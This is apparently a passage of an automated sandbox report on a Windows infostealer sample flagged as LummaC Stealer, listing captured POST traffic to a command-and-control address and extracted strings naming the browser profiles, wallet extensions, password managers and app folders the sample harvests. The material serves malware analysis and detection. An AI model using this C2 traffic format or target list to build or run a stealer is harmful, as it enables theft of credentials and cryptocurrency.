Nov 13, 2024 10:55:30.302813053 CET	2472	OUT	Data Raw: bf 81 b0 fe 5f b7 fb 9f 5b ff af bb fd af 59 03 cc e3 7f 3c 66 da 9f bf cf f9 5f 53 06 d8 a5 fe 37 f3 4f ad 33 c0 34 ff 8b 19 a0 f3 bf a6 fc 2f b7 01 96 e4 7f 85 0d b0 43 fe 17 ee 37 fc 4f da 5f 2b fc af 68 0f 70 bb e6 ff 9a 6b 01 d2 fd 6c fe 27 Data Ascii: _[Y<f_S7O34/C7O_+hpkl'{a;'M~H/D}}\s]Xo~\/X/pxhzVc0>+0ru~22WX=9z~oiE~%t?93\G0TT]3?`:A>rm?
Nov 13, 2024 10:55:30.302830935 CET	1236	OUT	Data Raw: af 6d fe af 39 ff c3 b4 bf 30 a2 e6 2f cd fb 9a 9d ff c1 7e 5f 1a 9f 7c 2e 8f c9 7d a1 f5 05 76 98 67 fe 87 b9 fe 5f 92 ff 49 27 e4 ac 10 d6 ff 49 ff a3 fb d1 f7 38 0f 18 be 87 e7 b2 f6 cf ec f9 8d ac 0d 28 fa 7a e9 7f e6 fa 7f b2 f6 2f 9c fb 6b Data Ascii: m90/~_\|.}vg_I'I8(z/keF5<WByr\1O:!{9ix~>HXc4{fqN}YyO*;"Y\{4'y7o:]i}9?i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49716	94.158.244.69	80	7500	C:\Users\user\Desktop\I2BJhmJou4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:55:39.827390909 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:55:39.827801943 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49717	94.158.244.69	80	7500	C:\Users\user\Desktop\I2BJhmJou4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:55:48.616439104 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:55:48.616862059 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49718	94.158.244.69	80	7500	C:\Users\user\Desktop\I2BJhmJou4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:55:57.724904060 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:55:57.725347042 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"3--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49719	94.158.244.69	80	7500	C:\Users\user\Desktop\I2BJhmJou4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:56:06.579957008 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:56:06.580327034 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.8	49720	94.158.244.69	80	7500	C:\Users\user\Desktop\I2BJhmJou4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:56:15.360138893 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:56:15.360508919 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.8	49721	94.158.244.69	80	7500	C:\Users\user\Desktop\I2BJhmJou4.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:56:24.128138065 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:56:24.128518105 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Target ID:	0
Start time:	04:53:35
Start date:	13/11/2024
Path:	C:\Users\user\Desktop\I2BJhmJou4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\I2BJhmJou4.exe"
Imagebase:	0x400000
File size:	474'624 bytes
MD5 hash:	C847CB3090530EC9AE2E82805A03360D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.3246383027.0000000002F69000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.3246211626.0000000002ED0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000000.00000003.1423642848.00000000049F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:56:32
Start date:	13/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7500 -s 1708
Imagebase:	0x6e0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	10.1%
Signature Coverage:	52.5%
Total number of Nodes:	774
Total number of Limit Nodes:	25

Executed Functions

Function 004069A1 Relevance: 208.6, APIs: 6, Strings: 112, Instructions: 2052stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(?,?), ref: 00406AFC
lstrcatW.KERNEL32(?,\Local Storage\leveldb), ref: 00406B06
lstrcatW.KERNEL32(?,?,?), ref: 00408A66
lstrcatW.KERNEL32(?,/BrowserDB), ref: 00408A70

Strings

lkcjl576xednjfpbikmcm576xedbachjpdbijejflpcm, xrefs: 00408084
Au576xedthy, xrefs: 00406CF1
W576xedeb Da576xedta, xrefs: 00408697
Pol576xedymesh, xrefs: 004075AC
fhbohimaelboh576xedpjbbldcngcnapn576xeddodjp, xrefs: 00408128
Wom576xedbat, xrefs: 004077AD
NeoL576xedine, xrefs: 00407CB2
nlgbh576xeddfgdhgbiamfdfmb576xedikcdghidoadd, xrefs: 00407D4F
Nab576xedox, xrefs: 00408018
cihm576xedoadaighcej576xedopammfbmddcmdekcje, xrefs: 004086BB
bhgho576xedamapcdpbohphigoo576xedoaddinpkbai, xrefs: 004074C9
GAu576xedth Authe576xednticator, xrefs: 00407298
infe576xedboajgfhgbjpjbeppbkg576xednabfdkdaf, xrefs: 00407868
Cy576xedano, xrefs: 00407AE5
UL6T, xrefs: 0040702D
Ste576xedem Key576xedchain, xrefs: 0040827B
VL6T, xrefs: 0040891C
ibnejdfjmmk576xedpcnlpebklmnk576xedoeoihofec, xrefs: 00407625
lodccj576xedjbdhfakaekdiahmedf576xedbieldgik, xrefs: 00407FBB
Me576xedtaMa576xedsk, xrefs: 00406E46, 004087D8
kpfop576xedkelmapcoipemfend576xedmdcghnegimn, xrefs: 00407EED
By576xedone, xrefs: 004076ED
ME576xedW CX, xrefs: 004073DD
Ron576xedin Wall576xedet, xrefs: 004085CE
Te576xedrra Stat576xedion, xrefs: 0040724B
ffn576xedbelfdoeiohenk576xedjibnmadjiehjhajb, xrefs: 00408152
afbc576xedbjpbpfadlkmhm576xedclhkeeodmamcflc, xrefs: 004083E2
bln576xedieiiffboi576xedllknjnepogjhkgnoapac, xrefs: 00408804
nkd576xeddgncdjgjfcddamfg576xedcmfnlhccnimig, xrefs: 00407C99
Lo576xedgin Da576xedta, xrefs: 0040864F
kkpllko576xeddjeloidieedojogacfhp576xedaihoh, xrefs: 004088A7
/BrowserDB, xrefs: 00408A68
Ja576xedxx Lib576xederty, xrefs: 0040881F
dmkam576xedcknogkgcdfhhbddcghach576xedkejeap, xrefs: 004084B0
Te576xedzBox, xrefs: 00407F84
EQ576xedUAL, xrefs: 004076A5
fihka576xedkfobkmkjojpchpf576xedgcmhfjnmnfpi, xrefs: 00408856
nknhi576xedehlklippafakaeklbegl576xedecifhad, xrefs: 00408027
ejbalbako576xedplchlghecda576xedlmeeeajnimhm, xrefs: 00406E55
cnma576xedmaachppnkjgnil576xeddpdmkaakejnhae, xrefs: 00407593
ICO576xedNex, xrefs: 004075D4
gae576xeddmjdfmmahhbj576xedefcbgaolhhanlaolb, xrefs: 00406D00
Gu576xedild, xrefs: 004081EB
Au576xedro, xrefs: 00407584
Coi576xedn98, xrefs: 00407492
nhnk576xedbkgjikgcigadomkph576xedalanndcapjk, xrefs: 004087BC
EnK576xedrypt, xrefs: 00408897
kln576xedaejjgbibmhlephnh576xedpmaofohgkpgkd, xrefs: 00407479
fhmfend576xedgdocmcbmfikdcog576xedofphimnkno, xrefs: 00408903
hnfanknocfe576xedofbddgcijnm576xedhnfnkdnaad, xrefs: 0040840A
Zi576xedlPay, xrefs: 0040746A
Ma576xedth, xrefs: 004083D3
Coinb576xedase, xrefs: 004083FB
nlbm576xednnijcnlegkjjpcfjclm576xedcfggfefdm, xrefs: 004081D0
Hist576xedory, xrefs: 0040867F
Bin576xedance Cha576xedin Wal576xedlet, xrefs: 004085F6
Ke576xedplr, xrefs: 004084A0
E576xedOS Authenti576xedcator, xrefs: 00406D19
mnfif576xedefkajgofkcjkemidiae576xedcocnkjeh, xrefs: 00407F93
oel576xedjdldpnmdbchonieli576xeddgobddffflal, xrefs: 00406D28
Tro576xednLi576xednk, xrefs: 00407616
jojhf576xedeoedkpkglbfimdfabp576xeddfjaoolaf, xrefs: 004075BB
His576xedtory, xrefs: 004083AF
Na576xedsh Ex576xedtension, xrefs: 0040809F
Tr576xedezor Passw576xedord Manager, xrefs: 00408207
aiifb576xednbfobpmeekiphe576xedeijimdpnlpgpp, xrefs: 0040725B
Pha576xedntom, xrefs: 0040822F
Uni576xedSat, xrefs: 004082D2
One576xedKey, xrefs: 00407859
Log576xedin Da576xedta Fo576xedr Acc576xedount, xrefs: 00408667
dkded576xedlpgdmmkkfjabffeg576xedanieamfklkm, xrefs: 00407AF8
Gua576xedrda, xrefs: 00408423
kn576xedcchdigobgh576xedenbbaddojjnnaogfppfj, xrefs: 0040887E
hpg576xedlfhgfnhbgpjden576xedjgmdgoeiappafln, xrefs: 0040768A
iW576xedlt, xrefs: 0040886F
nanj576xedmdknhkinifnkgdcggcfnhd576xedaammmj, xrefs: 00407D13
ilgcn576xedhelpchnceeipipij576xedaljkblbcobl, xrefs: 004072A7
Sa576xedturn, xrefs: 00407C8A
VL6T, xrefs: 004076C1
hcflp576xedincpppdclinealmandi576xedjcmnkbgn, xrefs: 0040804F
nkbihfbeo576xedgaeaoehlef576xednkodbefgpgknn, xrefs: 004087E8
Bit576xedApp, xrefs: 00408847
Ni576xedfty, xrefs: 0040816B
EeS, xrefs: 00406B7F
flpici576xedilemghbmfalica576xedjoolhkkenfel, xrefs: 004075E4
Liqu576xedality, xrefs: 00407EDD
Aut576xedhenti576xedcator, xrefs: 004074BA
Cl576xedover, xrefs: 004087AC
fnjhmkhhmkb576xedjkkabndcn576xednogagogbneec, xrefs: 004085DD
Hy576xedcon Lite Cli576xedent, xrefs: 004080C7
Te576xedmple, xrefs: 00408068
amkmj576xedjmmflddogmhpjloim576xedipbofnfjih, xrefs: 004073C2
Le576xedaf, xrefs: 00407881
KH576xedC, xrefs: 00408040
onof576xedpnbbkehpmmoa576xedbgpcpmigafmmnjhl, xrefs: 004080AE
aea576xedchknmefphepccio576xednboohckonoeemg, xrefs: 004074A1
ookjlb576xedkiijinhpmnjffcofj576xedonbfbgaoc, xrefs: 00407F69
ijmp576xedgkjfkbfho576xedebgogflfebnmejmfbml, xrefs: 00407FE3
EeS, xrefs: 00407043
DAp576xedpPlay, xrefs: 00407FAC
jbd576xedaocneiiinmjbj576xedlgalhcelgbejmnid, xrefs: 00407D6E
cj576xedelfplplebdjjenllpjcbl576xedmjkfcffne, xrefs: 0040882E
bfn576xedaelmomeim576xedhlpmgjnjophhpkkoljpa, xrefs: 00408242
cphhlg576xedmgameodnhkjdmkpa576xednlelnlohao, xrefs: 00407CC1
Bi576xedtClip, xrefs: 00407FD4
Netw576xedork\Cook576xedies, xrefs: 00408505
Sol576xedlet, xrefs: 004088F4
\Local Storage\leveldb, xrefs: 00406AFE
Yo576xedroi, xrefs: 00408143
imloif576xedkgjagghnncjkhgg576xeddhalmcnfklk, xrefs: 00408216
ppbibelpc576xedjmhbdihakflkd576xedcoccbgbkpo, xrefs: 004082E5
bcopg576xedchhojmggmff576xedilplmbdicgaihlkp, xrefs: 004080DA

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: /BrowserDB$Au576xedro$Au576xedthy$Aut576xedhenti576xedcator$Bi576xedtClip$Bin576xedance Cha576xedin Wal576xedlet$Bit576xedApp$By576xedone$Cl576xedover$Coi576xedn98$Coinb576xedase$Cy576xedano$DAp576xedpPlay$E576xedOS Authenti576xedcator$EQ576xedUAL$EnK576xedrypt$EeS$EeS$GAu576xedth Authe576xednticator$Gu576xedild$Gua576xedrda$His576xedtory$Hist576xedory$Hy576xedcon Lite Cli576xedent$ICO576xedNex$Ja576xedxx Lib576xederty$KH576xedC$Ke576xedplr$Le576xedaf$Liqu576xedality$Lo576xedgin Da576xedta$Log576xedin Da576xedta Fo576xedr Acc576xedount$ME576xedW CX$Ma576xedth$Me576xedtaMa576xedsk$Na576xedsh Ex576xedtension$Nab576xedox$NeoL576xedine$Netw576xedork\Cook576xedies$Ni576xedfty$One576xedKey$Pha576xedntom$Pol576xedymesh$Ron576xedin Wall576xedet$Sa576xedturn$Sol576xedlet$Ste576xedem Key576xedchain$Te576xedmple$Te576xedrra Stat576xedion$Te576xedzBox$Tr576xedezor Passw576xedord Manager$Tro576xednLi576xednk$UL6T$Uni576xedSat$VL6T$VL6T$W576xedeb Da576xedta$Wom576xedbat$Yo576xedroi$Zi576xedlPay$\Local Storage\leveldb$aea576xedchknmefphepccio576xednboohckonoeemg$afbc576xedbjpbpfadlkmhm576xedclhkeeodmamcflc$aiifb576xednbfobpmeekiphe576xedeijimdpnlpgpp$amkmj576xedjmmflddogmhpjloim576xedipbofnfjih$bcopg576xedchhojmggmff576xedilplmbdicgaihlkp$bfn576xedaelmomeim576xedhlpmgjnjophhpkkoljpa$bhgho576xedamapcdpbohphigoo576xedoaddinpkbai$bln576xedieiiffboi576xedllknjnepogjhkgnoapac$cihm576xedoadaighcej576xedopammfbmddcmdekcje$cj576xedelfplplebdjjenllpjcbl576xedmjkfcffne$cnma576xedmaachppnkjgnil576xeddpdmkaakejnhae$cphhlg576xedmgameodnhkjdmkpa576xednlelnlohao$dkded576xedlpgdmmkkfjabffeg576xedanieamfklkm$dmkam576xedcknogkgcdfhhbddcghach576xedkejeap$ejbalbako576xedplchlghecda576xedlmeeeajnimhm$ffn576xedbelfdoeiohenk576xedjibnmadjiehjhajb$fhbohimaelboh576xedpjbbldcngcnapn576xeddodjp$fhmfend576xedgdocmcbmfikdcog576xedofphimnkno$fihka576xedkfobkmkjojpchpf576xedgcmhfjnmnfpi$flpici576xedilemghbmfalica576xedjoolhkkenfel$fnjhmkhhmkb576xedjkkabndcn576xednogagogbneec$gae576xeddmjdfmmahhbj576xedefcbgaolhhanlaolb$hcflp576xedincpppdclinealmandi576xedjcmnkbgn$hnfanknocfe576xedofbddgcijnm576xedhnfnkdnaad$hpg576xedlfhgfnhbgpjden576xedjgmdgoeiappafln$iW576xedlt$ibnejdfjmmk576xedpcnlpebklmnk576xedoeoihofec$ijmp576xedgkjfkbfho576xedebgogflfebnmejmfbml$ilgcn576xedhelpchnceeipipij576xedaljkblbcobl$imloif576xedkgjagghnncjkhgg576xeddhalmcnfklk$infe576xedboajgfhgbjpjbeppbkg576xednabfdkdaf$jbd576xedaocneiiinmjbj576xedlgalhcelgbejmnid$jojhf576xedeoedkpkglbfimdfabp576xeddfjaoolaf$kkpllko576xeddjeloidieedojogacfhp576xedaihoh$kln576xedaejjgbibmhlephnh576xedpmaofohgkpgkd$kn576xedcchdigobgh576xedenbbaddojjnnaogfppfj$kpfop576xedkelmapcoipemfend576xedmdcghnegimn$lkcjl576xednjfpbikmcm576xedbachjpdbijejflpcm$lodccj576xedjbdhfakaekdiahmedf576xedbieldgik$mnfif576xedefkajgofkcjkemidiae576xedcocnkjeh$nanj576xedmdknhkinifnkgdcggcfnhd576xedaammmj$nhnk576xedbkgjikgcigadomkph576xedalanndcapjk$nkbihfbeo576xedgaeaoehlef576xednkodbefgpgknn$nkd576xeddgncdjgjfcddamfg576xedcmfnlhccnimig$nknhi576xedehlklippafakaeklbegl576xedecifhad$nlbm576xednnijcnlegkjjpcfjclm576xedcfggfefdm$nlgbh576xeddfgdhgbiamfdfmb576xedikcdghidoadd$oel576xedjdldpnmdbchonieli576xeddgobddffflal$onof576xedpnbbkehpmmoa576xedbgpcpmigafmmnjhl$ookjlb576xedkiijinhpmnjffcofj576xedonbfbgaoc$ppbibelpc576xedjmhbdihakflkd576xedcoccbgbkpo
API String ID: 4038537762-1377293222
Opcode ID: d76d7c670001a5dbd7c9de7b01bcafc77f6a8fb9cd7de87a96b03e98a683fc98
Instruction ID: d3b4c8d05487b98e51841e16d8283d2e4e5c243acd67d22c1ca68150be5d60ea
Opcode Fuzzy Hash: d76d7c670001a5dbd7c9de7b01bcafc77f6a8fb9cd7de87a96b03e98a683fc98
Instruction Fuzzy Hash: 05E229F2E001065AEF2896588D8357F7969EB14304F25453FF80AF63D1EA3C8E558A9F

Function 0042D658 Relevance: 104.1, Strings: 82, Instructions: 1594COMMON

Download Yara Rule

Strings

Wall576xedets/Eth576xedereum, xrefs: 0042EE17
%appdata%\Electrum\wallets, xrefs: 0042ED66
@an(, xrefs: 0042D868
%loc576xedalappda576xedta%\Kom576xedeta\Us576xeder Da576xedta, xrefs: 0042E827
Aan(, xrefs: 0042DB43
Op576xedera Neo576xedn, xrefs: 0042EC81
ST4, xrefs: 0042D951
TT4, xrefs: 0042DF2F
recentservers.xml, xrefs: 0042DC4F
*.kbdx, xrefs: 0042DC7E
Op576xedera G576xedX Stab576xedle, xrefs: 0042EBA1
*.576xedtxt, xrefs: 0042EEB6
Chr576xedome, xrefs: 0042E948
Wallets/Electrum, xrefs: 0042ED60
Aan(, xrefs: 0042D889
%appd576xedata%\Ope576xedra Soft576xedware\Op576xedera Sta576xedble, xrefs: 0042D8E5
%localappdata%\CocCoc\Browser\User Data, xrefs: 0042DA83
q7 C, xrefs: 0042E450
Mozi576xedlla Firef576xedox, xrefs: 0042D7E1
y_B>, xrefs: 0042E011
%appdata%\Bitcoin\wallets, xrefs: 0042ED34
%programfiles%\Steam\config, xrefs: 0042DCB9
%appdata%\Exodus\exodus.wallet, xrefs: 0042EACE
ssfn*, xrefs: 0042DC99
Import576xedant File576xeds/Pro576xedfile, xrefs: 0042F04F
Wallets/Authy Desktop, xrefs: 0042ED17
*.conf, xrefs: 0042DC33
Comodo, xrefs: 0042ECC2
keyst576xedore, xrefs: 0042EE27
Applications/Steam/config, xrefs: 0042DCAF
$jRk, xrefs: 0042DED9
%appdata%\AnyDesk, xrefs: 0042DC38
Wal576xedlets/Bin576xedance, xrefs: 0042EE5B
Kom576xedeta, xrefs: 0042E818
Applications/AnyDesk, xrefs: 0042DC2E
%localappdata%\Coinomi\Coinomi\wallets, xrefs: 0042ED06
sim576xedple-sto576xedrage.j576xedson, xrefs: 0042EE6A
%userprofile%, xrefs: 0042DC83
%localappdata%\Comodo\Dragon\User Data, xrefs: 0042ECC7
%appdata%\com.liberty.jaxx\IndexedDB, xrefs: 0042ED4F
%lo576xedcalapp576xeddata%\Go576xedogle\Chr576xedome\Us576xeder Dat576xeda, xrefs: 0042E957
Wallets/Bitcoin core, xrefs: 0042ED2E
%appd576xedata%\El576xedectrum\wal576xedlets, xrefs: 0042E541
%appdata%\atomic\Local Storage\leveldb, xrefs: 0042ECEF
Chromi576xedum, xrefs: 0042E75F
Ed576xedge, xrefs: 0042E788
%appda576xedta%\Bina576xednce, xrefs: 0042DBB8, 0042DD8C, 0042EE79
Wallets/Coinomi, xrefs: 0042ED00
%appd576xedata%\Ethe576xedreum, xrefs: 0042EA9E
Wallets/Atomic, xrefs: 0042ECE4
.fin576xedger-pr576xedint.fp, xrefs: 0042DD7C
sitemanager.xml, xrefs: 0042DC67
ap576xedp-sto576xedre.js576xedon, xrefs: 0042DBA9
Applications/FileZilla, xrefs: 0042DC49, 0042DC4E, 0042DC66
%localappdata%\BraveSoftware\Brave-Browser\User Data, xrefs: 0042ECB2
Wallets/Exodus, xrefs: 0042EAC3
%appdata%\Telegram Desktop, xrefs: 0042DF00
%appdata%\Authy Desktop\Local Storage\leveldb, xrefs: 0042ED1D
*576xed, xrefs: 0042E532
%programfiles%\Steam, xrefs: 0042DC9E
%localappdata%\Chro576xedmium\Use576xedr Data, xrefs: 0042E76E
Wal576xedlets/Bi576xednance, xrefs: 0042DBD5
Applications/Steam, xrefs: 0042DC94
%appda576xedta%\Op576xedera Softwa576xedre\Op576xedera Neo576xedn\Us576xeder Da576xedta, xrefs: 0042EC90
Applications/Telegram, xrefs: 0042DEF6
%locala576xedppdata%\Mic576xedrosoft\Edge\Us576xeder Data, xrefs: 0042DA33
*.leveldb, xrefs: 0042ED4A
%appda576xedta%\Mo576xedzilla\Fir576xedefox\Prof576xediles, xrefs: 0042D7F0
%appdata%\Ledger Live, xrefs: 0042EAE5
CocCoc, xrefs: 0042DA7E
Applications/KeePass, xrefs: 0042DC79
Wallets/JAXX New Version, xrefs: 0042ED45
Brave Software, xrefs: 0042ECAD
%appd576xedata%\Op576xedera Softw576xedare\Op576xedera GX Sta576xedble, xrefs: 0042EBB0
%userpro576xedfile%, xrefs: 0042DB79
?, xrefs: 0042ECD4
Wallets/Ledger Live, xrefs: 0042EADF
%appdata%\FileZilla, xrefs: 0042DC54, 0042DC59, 0042DC6C
Wall576xedets/Ele576xedctrum, xrefs: 0042EE9A
Wall576xedets/Binan576xedce, xrefs: 0042DB9A
Op576xedera Sta576xedble, xrefs: 0042E4D1
TT4, xrefs: 0042EB40

Memory Dump Source

Source File: 00000000.00000002.3244849717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_I2BJhmJou4.jbxd

Yara matches

Similarity

API ID:
String ID: $jRk$%appd576xedata%\El576xedectrum\wal576xedlets$%appd576xedata%\Ethe576xedreum$%appd576xedata%\Op576xedera Softw576xedare\Op576xedera GX Sta576xedble$%appd576xedata%\Ope576xedra Soft576xedware\Op576xedera Sta576xedble$%appda576xedta%\Bina576xednce$%appda576xedta%\Mo576xedzilla\Fir576xedefox\Prof576xediles$%appda576xedta%\Op576xedera Softwa576xedre\Op576xedera Neo576xedn\Us576xeder Da576xedta$%appdata%\AnyDesk$%appdata%\Authy Desktop\Local Storage\leveldb$%appdata%\Bitcoin\wallets$%appdata%\Electrum\wallets$%appdata%\Exodus\exodus.wallet$%appdata%\FileZilla$%appdata%\Ledger Live$%appdata%\Telegram Desktop$%appdata%\atomic\Local Storage\leveldb$%appdata%\com.liberty.jaxx\IndexedDB$%lo576xedcalapp576xeddata%\Go576xedogle\Chr576xedome\Us576xeder Dat576xeda$%loc576xedalappda576xedta%\Kom576xedeta\Us576xeder Da576xedta$%locala576xedppdata%\Mic576xedrosoft\Edge\Us576xeder Data$%localappdata%\BraveSoftware\Brave-Browser\User Data$%localappdata%\Chro576xedmium\Use576xedr Data$%localappdata%\CocCoc\Browser\User Data$%localappdata%\Coinomi\Coinomi\wallets$%localappdata%\Comodo\Dragon\User Data$%programfiles%\Steam$%programfiles%\Steam\config$%userpro576xedfile%$%userprofile%$*.576xedtxt$*.conf$*.kbdx$*.leveldb$*576xed$.fin576xedger-pr576xedint.fp$?$@an($Aan($Aan($Applications/AnyDesk$Applications/FileZilla$Applications/KeePass$Applications/Steam$Applications/Steam/config$Applications/Telegram$Brave Software$Chr576xedome$Chromi576xedum$CocCoc$Comodo$Ed576xedge$Import576xedant File576xeds/Pro576xedfile$Kom576xedeta$Mozi576xedlla Firef576xedox$Op576xedera G576xedX Stab576xedle$Op576xedera Neo576xedn$Op576xedera Sta576xedble$ST4$TT4$TT4$Wal576xedlets/Bi576xednance$Wal576xedlets/Bin576xedance$Wall576xedets/Binan576xedce$Wall576xedets/Ele576xedctrum$Wall576xedets/Eth576xedereum$Wallets/Atomic$Wallets/Authy Desktop$Wallets/Bitcoin core$Wallets/Coinomi$Wallets/Electrum$Wallets/Exodus$Wallets/JAXX New Version$Wallets/Ledger Live$ap576xedp-sto576xedre.js576xedon$keyst576xedore$q7 